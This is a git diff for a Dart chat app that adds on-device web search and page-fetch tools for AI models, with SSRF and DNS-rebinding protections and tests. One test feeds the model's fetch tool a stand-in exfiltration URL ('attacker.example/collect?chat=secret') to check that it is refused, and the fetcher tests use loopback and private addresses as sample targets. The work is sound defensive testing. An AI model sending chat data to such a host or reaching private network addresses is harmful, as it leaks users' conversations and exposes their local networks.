socket is opened to one of those vetted +/// addresses. A hostname that re-resolves to a private address between a +/// check and the connect (DNS rebinding) therefore still cannot reach the +/// LAN. Redirects are followed by hand so each hop goes through the same +/// check. +class WebPageFetcher { + WebPageFetcher({ + HostLookup? lookup, + this.timeout = const Duration(seconds: 15), + this.connectTimeout = const Duration(seconds: 6), + this.maxBytes = 2 * 1024 * 1024, + this.maxRedirects = 5, + this.userAgent = kDdgsDefaultUserAgent, + }) : _lookup = lookup ?? InternetAddress.lookup; + + final HostLookup _lookup; + final Duration timeout; + final Duration connectTimeout; + final int maxBytes; + final int maxRedirects; + final String userAgent; + + static const Set supportedContentTypes = { + 'text/html', + 'application/xhtml+xml', + 'text/plain', + 'text/markdown', + 'text/x-markdown', + 'application/json', + }; + + /// Fetches [url], which must already have passed [normalizePublicWebUrl]. + /// + /// Throws [WebFetchException] for any failure, and completes with a + /// [WebFetchException] when [cancel] fires first. + Future fetch( + Uri url, { + String? acceptLanguage, + Future? cancel, + }) async { + final client = HttpClient() + ..findProxy = ((_) => 'DIRECT') + ..connectionFactory = _connect + ..connectionTimeout = connectTimeout + ..autoUncompress = true + ..userAgent = userAgent; + var stopped = false; + void stop() { + if (stopped) return; + stopped = true; + client.close(force: true); + } + + final timer = Timer(timeout, stop); + unawaited(cancel?.then((_) => stop())); + + try { + var current = url; + for (var hop = 0; ; hop++) { + final request = await client.getUrl(current); + request.followRedirects = false; + request.headers + ..set( + HttpHeaders.acceptHeader, + 'text/html,application/xhtml+xml,text/plain;q=0.9,*/*;q=0.5', + ) + ..set(HttpHeaders.acceptLanguageHeader, acceptLanguage ?? 'en'); + final response = await request.close(); + + if (response.isRedirect) { + await response.drain(); + final location = response.headers.value(HttpHeaders.locationHeader); + if (location == null || hop >= maxRedirects) { + throw const WebFetchException('The page redirected too often.'); + } + current = Uri.parse( + normalizePublicWebUrl(current.resolve(location).toString()), + ); + continue; + } + if (response.statusCode != HttpStatus.ok) { + await response.drain(); + throw WebFetchException( + 'The page returned HTTP ${response.statusCode}.', + statusCode: response.statusCode, + ); + } + + final contentType = response.headers.contentType; + final mimeType = contentType?.mimeType.toLowerCase() ?? 'text/html'; + if (!supportedContentTypes.contains(mimeType)) { + await response.drain(); + throw WebFetchException( + 'The page is $mimeType, which cannot be read as text.', + ); + } + final (bytes, truncated) = await _readBounded(response); + return FetchedWebPage( + url: current, + contentType: mimeType, + body: _decode(bytes, contentType?.charset), + truncated: truncated, + ); + } + } on WebFetchException { + rethrow; + } on FormatException catch (error) { + throw WebFetchException(error.message); + } on Exception { + if (stopped) { + throw const WebFetchException('The page took too long to load.'); + } + throw const WebFetchException('The page could not be reached.'); + } finally { + timer.cancel(); + stop(); + } + } + + Future> _connect( + Uri url, + String? proxyHost, + int? proxyPort, + ) async { + final host = url.host; + final port = url.hasPort ? url.port : (url.scheme == 'https' ? 443 : 80); + final addresses = await _vettedAddresses(host); + final socket = _connectAny(addresses, port).then( + (socket) => url.scheme == 'https' + ? SecureSocket.secure(socket, host: host) + : socket, + ); + return ConnectionTask.fromSocket(socket, () {}); + } + + Future> _vettedAddresses(String host) async { + final literal = InternetAddress.tryParse(host); + final addresses = literal == null ? await _lookup(host) : [literal]; + if (addresses.isEmpty) { + throw const WebFetchException('The page could not be reached.'); + } + // Fail closed: a public hostname has no reason to resolve to a private + // address, so one private answer taints the whole lookup. + if (!addresses.every(isPublicInternetAddress)) { + throw const WebFetchException('Web fetch requires a public URL.'); + } + return addresses; + } + + Future _connectAny(List addresses, int port) async { + Object? lastError; + for (final address in addresses.take(4)) { + try { + return await Socket.connect(address, port, timeout: connectTimeout); + } on SocketException catch (error) { + lastError = error; + } + } + throw lastError ?? const SocketException('No address to connect to'); + } + + Future<(List, bool)> _readBounded(HttpClientResponse response) async { + final bytes = []; + await for (final chunk in response) { + final room = maxBytes - bytes.length; + if (chunk.length >= room) { + bytes.addAll(chunk.take(room)); + return (bytes, true); + } + bytes.addAll(chunk); + } + return (bytes, false); + } + + static String _decode(List bytes, String? charset) { + switch (charset?.toLowerCase()) { + case 'iso-8859-1' || 'latin1' || 'latin-1' || 'windows-1252' || 'cp1252': + return latin1.decode(bytes); + default: + return utf8.decode(bytes, allowMalformed: true); + } + } +} diff --git a/packages/conduit_core/lib/features/web_search/web_search.dart b/packages/conduit_core/lib/features/web_search/web_search.dart new file mode 100644 index 000000000..16409c84f --- /dev/null +++ b/packages/conduit_core/lib/features/web_search/web_search.dart @@ -0,0 +1,10 @@ +export 'package:conduit_ddgs/conduit_ddgs.dart' + show SafeSearch, SearchEngineId, SearchRegion; + +export 'package:conduit_core/features/web_search/models/web_search_preferences.dart'; +export 'package:conduit_core/features/web_search/providers/web_search_providers.dart'; +export 'package:conduit_core/features/web_search/services/direct_web_search_mode.dart'; +export 'package:conduit_core/features/web_search/services/on_device_web_tools.dart'; +export 'package:conduit_core/features/web_search/services/public_web_address.dart'; +export 'package:conduit_core/features/web_search/services/web_page_extractor.dart'; +export 'package:conduit_core/features/web_search/services/web_page_fetcher.dart'; diff --git a/packages/conduit_core/lib/persistence/persistence_keys.dart b/packages/conduit_core/lib/persistence/persistence_keys.dart index fdcddc5c7..5bf034467 100644 --- a/packages/conduit_core/lib/persistence/persistence_keys.dart +++ b/packages/conduit_core/lib/persistence/persistence_keys.dart @@ -22,6 +22,10 @@ final class PreferenceKeys { static const String chatWebSearchEnabled = 'chat_web_search_enabled'; static const String chatImageGenerationEnabled = 'chat_image_generation_enabled'; + // On-device web search for Direct models. + static const String webSearchEngine = 'web_search_engine_v1'; + static const String webSearchSafeSearch = 'web_search_safe_search_v1'; + static const String webSearchRegion = 'web_search_region_v1'; static const String sendOnEnterKey = 'send_on_enter'; static const String activeServerId = 'active_server_id'; diff --git a/packages/conduit_core/lib/providers/app_providers.dart b/packages/conduit_core/lib/providers/app_providers.dart index afe5bf351..f1d58466e 100644 --- a/packages/conduit_core/lib/providers/app_providers.dart +++ b/packages/conduit_core/lib/providers/app_providers.dart @@ -73,6 +73,7 @@ import 'package:conduit_core/features/hermes/providers/hermes_providers.dart'; import 'package:conduit_core/features/hermes/services/hermes_session_provenance.dart'; import 'package:conduit_core/features/direct_connections/direct_connections.dart'; import 'package:conduit_core/features/direct_connections/providers/direct_mcp_providers.dart'; +import 'package:conduit_core/features/web_search/services/direct_web_search_mode.dart'; import 'package:conduit_core/providers/backend_mode_providers.dart'; diff --git a/packages/conduit_core/lib/providers/app_providers_feature_availability.dart b/packages/conduit_core/lib/providers/app_providers_feature_availability.dart index 1c76f8db0..145b96f91 100644 --- a/packages/conduit_core/lib/providers/app_providers_feature_availability.dart +++ b/packages/conduit_core/lib/providers/app_providers_feature_availability.dart @@ -112,26 +112,46 @@ final imageGenerationAvailableProvider = Provider((ref) { ); }); +/// How the selected Direct model would search the web, or `null` when the +/// selected model is not a Direct model. +final selectedDirectWebSearchModeProvider = Provider(( + ref, +) { + final selectedModel = ref.watch(selectedModelProvider); + if (selectedModel == null || !hasReservedDirectIdentity(selectedModel)) { + return null; + } + final binding = ref.watch(directModelRegistryProvider).resolve(selectedModel); + if (binding == null) return DirectWebSearchMode.unavailable; + return directWebSearchModeFor(binding: binding, model: selectedModel); +}); + final webSearchAvailableProvider = Provider((ref) { final selectedModel = ref.watch(selectedModelProvider); - final directBinding = selectedModel == null - ? null - : ref.watch(directModelRegistryProvider).resolve(selectedModel); - if (selectedModel != null && hasReservedDirectIdentity(selectedModel)) { - // Device-owned direct models must never fall through to OpenWebUI - // permissions. Only locally minted provider capabilities can enable a - // Conduit-managed search path. - final isTrustedOllamaCloud = - directBinding?.adapterKey == kOllamaAdapterKey && - selectedModel.capabilities?['ollama_cloud'] == true; - final isTrustedOpenRouter = - directBinding?.adapterKey == kOpenAiCompatibleAdapterKey && - selectedModel.capabilities?['openrouter'] == true; - return directBinding?.source == DirectModelSource.device && - (isTrustedOllamaCloud || isTrustedOpenRouter) && - selectedModel.capabilities?['web_search'] == true; + final directMode = ref.watch(selectedDirectWebSearchModeProvider); + if (selectedModel != null && directMode != null) { + // Direct models never fall through to the Open WebUI model checks below: + // search runs at the provider or on this device, not on the server. + return switch (directMode) { + DirectWebSearchMode.unavailable => false, + DirectWebSearchMode.providerHosted => true, + // A server-configured connection still answers to that server's web + // search policy, even though the search itself runs on the device. + DirectWebSearchMode.onDevice => + ref.watch(directModelRegistryProvider).resolve(selectedModel)?.source == + DirectModelSource.device || + _openWebUiAllowsWebSearch(ref), + }; } + if (!_modelSupportsFeature(selectedModel, 'web_search')) { + return false; + } + return _openWebUiAllowsWebSearch(ref); +}); + +/// The Open WebUI server's web search switch and the user's permission. +bool _openWebUiAllowsWebSearch(Ref ref) { final backendConfig = ref .watch(backendConfigProvider) .maybeWhen(data: (config) => config, orElse: () => null); @@ -139,10 +159,6 @@ final webSearchAvailableProvider = Provider((ref) { return false; } - if (!_modelSupportsFeature(selectedModel, 'web_search')) { - return false; - } - final user = ref .watch(currentUserProvider) .maybeWhen(data: (value) => value, orElse: () => null); @@ -156,7 +172,7 @@ final webSearchAvailableProvider = Provider((ref) { // Permissions unavailable (loading, error, older server) — assume available. orElse: () => true, ); -}); +} /// Tracks whether the folders feature is enabled on the server. /// When the server returns 403 for folders endpoint, this becomes false. diff --git a/packages/conduit_core/lib/services/settings_service.dart b/packages/conduit_core/lib/services/settings_service.dart index a5f5143bf..8ac7f024a 100644 --- a/packages/conduit_core/lib/services/settings_service.dart +++ b/packages/conduit_core/lib/services/settings_service.dart @@ -6,7 +6,9 @@ import 'package:riverpod_annotation/riverpod_annotation.dart'; import '../persistence/persistence_keys.dart'; import '../persistence/preferences_store.dart'; +import 'package:conduit_core/features/web_search/models/web_search_preferences.dart'; import 'package:conduit_core/models/animation_settings.dart'; +import 'package:conduit_ddgs/conduit_ddgs.dart' show SafeSearch; part 'settings_service.g.dart'; @@ -289,9 +291,15 @@ class SettingsService { _notificationSystemKey: settings.notificationSystem, _notificationChatEnabledKey: settings.notificationChatEnabled, _notificationChannelEnabledKey: settings.notificationChannelEnabled, + PreferenceKeys.webSearchEngine: settings.webSearchEngine.name, + PreferenceKeys.webSearchSafeSearch: settings.webSearchSafeSearch.name, }; await PreferencesStore.putAll(updates); + await _putOrRemove( + PreferenceKeys.webSearchRegion, + settings.webSearchRegion, + ); await _putOrRemove(_chatWebSearchEnabledKey, settings.chatWebSearchEnabled); await _putOrRemove( @@ -705,6 +713,15 @@ class SettingsService { PreferencesStore.get(_notificationChatEnabledKey) ?? true, notificationChannelEnabled: PreferencesStore.get(_notificationChannelEnabledKey) ?? true, + webSearchEngine: WebSearchEngineChoice.parse( + PreferencesStore.get(PreferenceKeys.webSearchEngine), + ), + webSearchSafeSearch: parseSafeSearch( + PreferencesStore.get(PreferenceKeys.webSearchSafeSearch), + ), + webSearchRegion: PreferencesStore.get( + PreferenceKeys.webSearchRegion, + ), ); } } @@ -755,6 +772,12 @@ class AppSettings { final bool notificationSystem; final bool notificationChatEnabled; final bool notificationChannelEnabled; + // On-device web search (Direct models without provider-hosted search). + final WebSearchEngineChoice webSearchEngine; + final SafeSearch webSearchSafeSearch; + + /// `null` follows the device locale; see [resolveWebSearchRegion]. + final String? webSearchRegion; const AppSettings({ this.reduceMotion = false, this.animationSpeed = 1.0, @@ -794,6 +817,9 @@ class AppSettings { this.notificationSystem = true, this.notificationChatEnabled = true, this.notificationChannelEnabled = true, + this.webSearchEngine = WebSearchEngineChoice.auto, + this.webSearchSafeSearch = SafeSearch.moderate, + this.webSearchRegion, }); AppSettings copyWith({ @@ -835,6 +861,9 @@ class AppSettings { bool? notificationSystem, bool? notificationChatEnabled, bool? notificationChannelEnabled, + WebSearchEngineChoice? webSearchEngine, + SafeSearch? webSearchSafeSearch, + Object? webSearchRegion = const _DefaultValue(), }) { return AppSettings( reduceMotion: reduceMotion ?? this.reduceMotion, @@ -898,6 +927,11 @@ class AppSettings { notificationChatEnabled ?? this.notificationChatEnabled, notificationChannelEnabled: notificationChannelEnabled ?? this.notificationChannelEnabled, + webSearchEngine: webSearchEngine ?? this.webSearchEngine, + webSearchSafeSearch: webSearchSafeSearch ?? this.webSearchSafeSearch, + webSearchRegion: webSearchRegion is _DefaultValue + ? this.webSearchRegion + : webSearchRegion as String?, ); } @@ -941,6 +975,9 @@ class AppSettings { other.notificationSystem == notificationSystem && other.notificationChatEnabled == notificationChatEnabled && other.notificationChannelEnabled == notificationChannelEnabled && + other.webSearchEngine == webSearchEngine && + other.webSearchSafeSearch == webSearchSafeSearch && + other.webSearchRegion == webSearchRegion && _listEquals(other.pinnedModels, pinnedModels) && _listEquals(other.quickPills, quickPills); // socketTransportMode intentionally not included in == to avoid frequent rebuilds @@ -984,6 +1021,9 @@ class AppSettings { notificationSystem, notificationChatEnabled, notificationChannelEnabled, + webSearchEngine, + webSearchSafeSearch, + webSearchRegion, Object.hashAllUnordered(quickPills), Object.hashAll(pinnedModels), ]); @@ -1187,6 +1227,42 @@ class AppSettingsNotifier extends _$AppSettingsNotifier { await SettingsService.setChatImageGenerationEnabled(value); } + /// Waits for startup hydration so a write can't be overwritten by the + /// stored value it replaces. Returns false if the notifier was disposed. + Future _awaitHydration() async { + final pendingLoad = _pendingLoad; + if (pendingLoad == null) return true; + await pendingLoad; + return ref.mounted; + } + + Future setWebSearchEngine(WebSearchEngineChoice value) async { + if (!await _awaitHydration()) return; + state = state.copyWith(webSearchEngine: value); + await SettingsService._putPreference( + PreferenceKeys.webSearchEngine, + value.name, + ); + } + + Future setWebSearchSafeSearch(SafeSearch value) async { + if (!await _awaitHydration()) return; + state = state.copyWith(webSearchSafeSearch: value); + await SettingsService._putPreference( + PreferenceKeys.webSearchSafeSearch, + value.name, + ); + } + + /// [code] is a [kWebSearchRegions] code, `wt-wt`, or `null` for the + /// device locale. + Future setWebSearchRegion(String? code) async { + if (!await _awaitHydration()) return; + final value = code == kWebSearchRegionAuto ? null : code; + state = state.copyWith(webSearchRegion: value); + await SettingsService._putOrRemove(PreferenceKeys.webSearchRegion, value); + } + Future setSendOnEnter(bool value) async { state = state.copyWith(sendOnEnter: value); await SettingsService.setSendOnEnter(value); diff --git a/packages/conduit_core/pubspec.yaml b/packages/conduit_core/pubspec.yaml index ac4b8f793..cfb58e494 100644 --- a/packages/conduit_core/pubspec.yaml +++ b/packages/conduit_core/pubspec.yaml @@ -30,6 +30,11 @@ dependencies: web_socket: ^1.0.1 conduit_markdown: path: ../conduit_markdown + # On-device web search for Direct models (vendored `ddgs`, see its + # VENDORED.md) and the HTML parser its page reader shares. + conduit_ddgs: + path: ../conduit_ddgs + html: ^0.15.6 crypto: ^3.0.3 # The core raises and classifies API errors, and `ApiError` is built from a # `DioException`. dio is pure Dart, so this costs the package nothing in diff --git a/packages/conduit_core/test/features/web_search/direct_web_search_mode_test.dart b/packages/conduit_core/test/features/web_search/direct_web_search_mode_test.dart new file mode 100644 index 000000000..86dc88c77 --- /dev/null +++ b/packages/conduit_core/test/features/web_search/direct_web_search_mode_test.dart @@ -0,0 +1,36 @@ +import 'package:conduit_core/features/web_search/services/direct_web_search_mode.dart'; +import 'package:test/test.dart'; + +void main() { + test('recognizes providers rejecting tool definitions', () { + // Wording as surfaced by normalizeDirectProviderErrorWithBody. + const rejected = [ + 'The provider returned HTTP 400: registry.ollama.ai/library/gemma:2b ' + 'does not support tools', + 'The provider returned HTTP 400: tools param requires --jinja flag', + 'The provider returned HTTP 400: "auto" tool choice requires ' + '--enable-auto-tool-choice and --tool-call-parser to be set', + 'The provider returned HTTP 400: Unrecognized request argument ' + 'supplied: tools', + 'The provider returned HTTP 422: Tool calling is not supported for ' + 'this model.', + "The provider returned HTTP 400: This model doesn't support function " + 'calling', + ]; + for (final message in rejected) { + expect(isDirectToolsUnsupportedError(message), isTrue, reason: message); + } + + const unrelated = [ + // A rejected request for another reason. + 'The provider returned HTTP 400: max_tokens is too large', + // Tool wording, but not a rejected request. + 'The provider returned HTTP 500: model does not support tools', + 'The model requested an unavailable local tool.', + null, + ]; + for (final message in unrelated) { + expect(isDirectToolsUnsupportedError(message), isFalse, reason: message); + } + }); +} diff --git a/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart b/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart new file mode 100644 index 000000000..52f39a095 --- /dev/null +++ b/packages/conduit_core/test/features/web_search/on_device_web_tools_test.dart @@ -0,0 +1,206 @@ +import 'package:conduit_core/features/direct_connections/models/direct_completion.dart'; +import 'package:conduit_core/features/direct_connections/services/direct_chat_bridge.dart'; +import 'package:conduit_core/features/web_search/models/web_search_preferences.dart'; +import 'package:conduit_core/features/web_search/services/on_device_web_tools.dart'; +import 'package:conduit_core/features/web_search/services/web_page_fetcher.dart'; +import 'package:conduit_core/models/chat_message.dart'; +import 'package:conduit_ddgs/conduit_ddgs.dart'; +import 'package:http/http.dart' as http; +import 'package:http/testing.dart'; +import 'package:test/test.dart'; + +/// An engine that answers every query with fixed results. +final class _StubEngine extends SearchEngine { + _StubEngine(this.results); + + final List<(String, String)> results; + + @override + SearchEngineId get id => SearchEngineId.duckduckgo; + + @override + SearchEngineRequest buildRequest(SearchQuery query) => + SearchEngineRequest.get(Uri.https('html.duckduckgo.com', '/html/')); + + @override + List parse(String body, SearchQuery query) => [ + for (final (title, url) in results) + WebSearchResult( + title: title, + url: Uri.parse(url), + snippet: '$title snippet', + engine: id, + ), + ]; +} + +final class _RecordingFetcher extends WebPageFetcher { + final List fetched = []; + + @override + Future fetch( + Uri url, { + String? acceptLanguage, + Future? cancel, + }) async { + fetched.add(url); + return FetchedWebPage( + url: url, + contentType: 'text/html', + body: + 'Page
' + '

${'Readable text. ' * 400}

', + truncated: false, + ); + } +} + +Ddgs _ddgs(List<(String, String)> results, {int status = 200}) => Ddgs( + client: MockClient((_) async => http.Response('', status)), + engines: {SearchEngineId.duckduckgo: _StubEngine(results)}, +); + +OnDeviceWebToolSession _session({ + required Ddgs search, + required WebPageFetcher fetcher, + WebToolBudget budget = WebToolBudget.standard, + Iterable userProvidedUrls = const [], +}) => OnDeviceWebToolSession( + search: search, + fetcher: fetcher, + engine: WebSearchEngineChoice.duckduckgo, + region: SearchRegion.worldwide, + safeSearch: SafeSearch.moderate, + budget: budget, + userProvidedUrls: userProvidedUrls, +); + +void main() { + test('search results become chat sources, and only public ones are ' + 'fetchable', () async { + final fetcher = _RecordingFetcher(); + final session = _session( + search: _ddgs([ + ('Dart', 'https://dart.dev/'), + ('Router admin', 'http://192.168.1.1/admin'), + ]), + fetcher: fetcher, + budget: WebToolBudget.compact, + ); + + final search = await session.execute(kWebSearchToolName, {'query': 'dart'}); + expect(search.isError, isFalse); + + // The structured value is what the adapters hand the chat bridge. + final accumulator = DirectStreamingAccumulator() + ..apply( + DirectToolCallCompleted( + id: 'call-1', + name: kWebSearchToolName, + arguments: const {'query': 'dart'}, + result: search.value, + ), + ); + expect(accumulator.sources, [ + const ChatSourceReference( + title: 'Dart', + url: 'https://dart.dev/', + snippet: 'Dart snippet', + type: 'web', + ), + ]); + + final page = await session.execute(kWebFetchToolName, { + 'url': 'https://dart.dev/', + }); + expect(page.isError, isFalse); + expect(fetcher.fetched, [Uri.parse('https://dart.dev/')]); + final content = (page.value! as Map)['content'] as String; + expect(content.length, lessThanOrEqualTo(1500)); + expect((page.value! as Map)['truncated'], isTrue); + + final private = await session.execute(kWebFetchToolName, { + 'url': 'http://192.168.1.1/admin', + }); + expect(private.isError, isTrue); + expect(fetcher.fetched, hasLength(1)); + }); + + test('fetch is limited to search results and links the user wrote', () async { + final fetcher = _RecordingFetcher(); + final session = _session( + search: _ddgs(const []), + fetcher: fetcher, + userProvidedUrls: extractWebUrls( + 'Summarize https://docs.example.com/guide, please.', + ), + ); + + final exfiltration = await session.execute(kWebFetchToolName, { + 'url': 'https://attacker.example/collect?chat=secret', + }); + expect(exfiltration.isError, isTrue); + expect(fetcher.fetched, isEmpty); + + final userLink = await session.execute(kWebFetchToolName, { + 'url': 'https://docs.example.com/guide', + }); + expect(userLink.isError, isFalse); + expect(fetcher.fetched, [Uri.parse('https://docs.example.com/guide')]); + }); + + test('a blocked engine becomes an error the model can read', () async { + final session = _session( + search: _ddgs(const [], status: 429), + fetcher: _RecordingFetcher(), + ); + + final result = await session.execute(kWebSearchToolName, {'query': 'x'}); + expect(result.isError, isTrue); + expect(result.text, contains('captcha')); + }); + + test('an empty answer after blocked engines is reported as unavailable, ' + 'not as "no results"', () async { + final session = OnDeviceWebToolSession( + search: Ddgs( + client: MockClient( + (request) async => request.url.host == 'html.duckduckgo.com' + ? http.Response('', 202) + : http.Response('', 200), + ), + ), + fetcher: _RecordingFetcher(), + engine: WebSearchEngineChoice.auto, + region: SearchRegion.worldwide, + safeSearch: SafeSearch.moderate, + ); + + final result = await session.execute(kWebSearchToolName, {'query': 'x'}); + expect(result.isError, isTrue); + expect(result.text, contains('captcha')); + }); + + test('unexpected arguments are rejected without searching', () async { + var requests = 0; + final session = OnDeviceWebToolSession( + search: Ddgs( + client: MockClient((_) async { + requests++; + return http.Response('', 200); + }), + ), + fetcher: _RecordingFetcher(), + engine: WebSearchEngineChoice.auto, + region: SearchRegion.worldwide, + safeSearch: SafeSearch.moderate, + ); + + final result = await session.execute(kWebSearchToolName, { + 'query': 'x', + 'engine': 'google', + }); + expect(result.isError, isTrue); + expect(requests, 0); + }); +} diff --git a/packages/conduit_core/test/features/web_search/web_page_extractor_test.dart b/packages/conduit_core/test/features/web_search/web_page_extractor_test.dart new file mode 100644 index 000000000..61b7fc70a --- /dev/null +++ b/packages/conduit_core/test/features/web_search/web_page_extractor_test.dart @@ -0,0 +1,77 @@ +import 'package:conduit_core/features/web_search/services/web_page_extractor.dart'; +import 'package:conduit_core/features/web_search/services/web_page_fetcher.dart'; +import 'package:test/test.dart'; + +ExtractedWebPage _extract(String body, {String contentType = 'text/html'}) => + extractReadableText( + FetchedWebPage( + url: Uri.parse('https://example.com/post'), + contentType: contentType, + body: body, + truncated: false, + ), + ); + +final _paragraph = 'Dart compiles to native code and JavaScript. ' * 8; + +void main() { + test('keeps the article structure and drops page furniture', () { + final page = _extract(''' + + + Ignored title + + + + +
+ +
+

Dart 3.13

+

$_paragraph

+

What changed

+
  • Faster build_runner
  • New lints
+
void main() {
+  print('hi');
+}
+
+ +
Copyright
+ +'''); + + expect(page.title, 'Dart 3.13 released'); + expect(page.text, startsWith('# Dart 3.13')); + expect(page.text, contains('## What changed')); + expect(page.text, contains('- Faster `build_runner`')); + expect(page.text, contains("```\nvoid main() {\n print('hi');\n}\n```")); + for (final furniture in [ + 'Home', + 'cookies', + 'Popular posts', + 'Copyright', + 'script text', + ]) { + expect(page.text, isNot(contains(furniture)), reason: furniture); + } + }); + + test('a content wrapper with a sidebar-like class is kept', () { + final page = _extract(''' + +

$_paragraph

+ +'''); + + expect(page.text, contains('Dart compiles to native code')); + expect(page.text, isNot(contains('Popular posts'))); + }); + + test('plain text is returned without HTML parsing', () { + final page = _extract( + '# Notes\n\n\n\nnot a tag\n', + contentType: 'text/plain', + ); + expect(page.text, '# Notes\n\nnot a tag'); + }); +} diff --git a/packages/conduit_core/test/features/web_search/web_page_fetcher_test.dart b/packages/conduit_core/test/features/web_search/web_page_fetcher_test.dart new file mode 100644 index 000000000..94c75d409 --- /dev/null +++ b/packages/conduit_core/test/features/web_search/web_page_fetcher_test.dart @@ -0,0 +1,54 @@ +import 'dart:io'; + +import 'package:conduit_core/features/web_search/services/web_page_fetcher.dart'; +import 'package:test/test.dart'; + +void main() { + // The device can reach the user's LAN. A public-looking hostname that + // resolves to a private address (DNS rebinding, split-horizon DNS) must be + // refused where the socket is opened, not just by a URL check. + group('connect-time address vetting', () { + late HttpServer server; + var requests = 0; + + setUp(() async { + requests = 0; + server = await HttpServer.bind(InternetAddress.loopbackIPv4, 0); + server.listen((request) { + requests++; + request.response + ..write('internal') + ..close(); + }); + }); + + tearDown(() => server.close(force: true)); + + final cases = >{ + 'loopback': [InternetAddress.loopbackIPv4], + 'mixed public and private answers': [ + InternetAddress('93.184.215.14'), + InternetAddress.loopbackIPv4, + ], + 'IPv4-mapped IPv6 loopback': [InternetAddress('::ffff:127.0.0.1')], + }; + + for (final MapEntry(key: name, value: addresses) in cases.entries) { + test('refuses a hostname resolving to $name', () async { + final fetcher = WebPageFetcher(lookup: (_) async => addresses); + + await expectLater( + fetcher.fetch(Uri.parse('http://public.example:${server.port}/')), + throwsA( + isA().having( + (e) => e.message, + 'message', + contains('public URL'), + ), + ), + ); + expect(requests, 0); + }); + } + }); +} diff --git a/packages/conduit_core/test/features/web_search/web_search_preferences_test.dart b/packages/conduit_core/test/features/web_search/web_search_preferences_test.dart new file mode 100644 index 000000000..a5ea9d75a --- /dev/null +++ b/packages/conduit_core/test/features/web_search/web_search_preferences_test.dart @@ -0,0 +1,32 @@ +import 'package:conduit_core/features/web_search/models/web_search_preferences.dart'; +import 'package:test/test.dart'; + +void main() { + test('region follows the stored choice, then the device locale', () { + final cases = <(String?, String, String)>[ + // Auto: device locale → the matching DuckDuckGo region. + (null, 'en_GB', 'uk-en'), + (null, 'fr_CA', 'ca-fr'), + (null, 'en_CA.UTF-8', 'ca-en'), + (null, 'ja-JP', 'jp-jp'), + (kWebSearchRegionAuto, 'de_AT', 'at-de'), + // A country without the locale's language still gets its region. + (null, 'it_CH', 'ch-de'), + // No country, or no region for it: worldwide. + (null, 'en', 'wt-wt'), + (null, 'xx_ZZ', 'wt-wt'), + // An explicit choice wins over the device. + ('wt-wt', 'en_GB', 'wt-wt'), + ('de-de', 'en_GB', 'de-de'), + // A stored code that is no longer offered falls back safely. + ('zz-zz', 'en_GB', 'wt-wt'), + ]; + for (final (stored, locale, expected) in cases) { + expect( + resolveWebSearchRegion(stored, locale).code, + expected, + reason: 'stored=$stored locale=$locale', + ); + } + }); +} diff --git a/packages/conduit_ddgs/LICENSE b/packages/conduit_ddgs/LICENSE new file mode 100755 index 000000000..4deab964d --- /dev/null +++ b/packages/conduit_ddgs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 kamranxdev + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/packages/conduit_ddgs/VENDORED.md b/packages/conduit_ddgs/VENDORED.md new file mode 100644 index 000000000..bc1eebdb7 --- /dev/null +++ b/packages/conduit_ddgs/VENDORED.md @@ -0,0 +1,54 @@ +# Vendored from `ddgs` + +This package is derived from [`ddgs`](https://pub.dev/packages/ddgs) 0.3.2 +(, MIT, see `LICENSE`), itself a Dart +port of the Python [`ddgs`](https://github.com/deedy5/ddgs) library. + +It is vendored rather than depended on because 0.3.2 could not be used +as-is: + +- it pins `xml ^6.3.0`, which conflicts with the workspace's `xml ^7`, even + though no library code imports `xml`; +- the DuckDuckGo engine read each result's *display* URL text instead of its + link, so every `href` was a bare host fragment; +- the Wikipedia engine requested the JSON API but parsed the response as + HTML, so it could never return a result; +- `proxy` and `verify` were accepted and ignored, engine errors went to + `print`, requests could not be cancelled, and every engine created its own + `http.Client`. + +## What changed + +- Only the text engines that return results from a plain HTTP client are + kept: DuckDuckGo, Brave, Bing, Mojeek and Wikipedia. Google (JavaScript + only), Yahoo, Startpage, Ecosia, Qwant and Yandex were dropped after live + probes on 2026-09-29 returned errors, captchas or empty pages. +- The caller owns the `http.Client`; requests are `AbortableRequest`s so a + search can be cancelled mid-flight. +- Results are typed (`WebSearchResult`), links are unwrapped from engine + redirectors, ads are skipped, and captcha / rate-limit pages count as a + `blocked` `SearchEngineException` instead of parsing as zero results. +- `Ddgs.search` tries engines in a fixed order, stops at the first engine + with results, and cools a blocked engine down instead of retrying it on + every query. +- Repeated URLs keep their first position but the copy with the longer + snippet, so DuckDuckGo's "Official site" card doesn't hide the organic + result's title. +- Images, videos, news, maps, translations, instant answers, streaming, + caching and the CLI were removed. + +## Maintaining the scrapers + +`dart run tool/live_smoke.dart [query]` queries every engine for real and +reports results, blocks (`~`) and empty answers (`∅`). Engines block +aggressively, so a single run from a busy address proves little; a parser is +broken when an engine keeps answering with results pages that parse to +nothing. + +When markup changes, capture a fresh page through Dart's HTTP client (not +curl: DuckDuckGo challenges curl's TLS fingerprint where it serves Dart), +strip scripts and styles, check it for anything identifying, replace the +fixture under `test/fixtures/`, and adjust the selectors in +`lib/src/engines/`. `mojeek_results.html` and +`duckduckgo_wrapped_links.html` are hand-written; every other fixture was +captured on 2026-09-29. diff --git a/packages/conduit_ddgs/analysis_options.yaml b/packages/conduit_ddgs/analysis_options.yaml new file mode 100644 index 000000000..ad4c34ff0 --- /dev/null +++ b/packages/conduit_ddgs/analysis_options.yaml @@ -0,0 +1,10 @@ +include: package:lints/recommended.yaml + +linter: + rules: + # Off because it is unsatisfiable here rather than merely unwanted. It + # fires on `_field = param` where the field is private and the parameter + # is a public named one, and suggests `this._field` -- which Dart 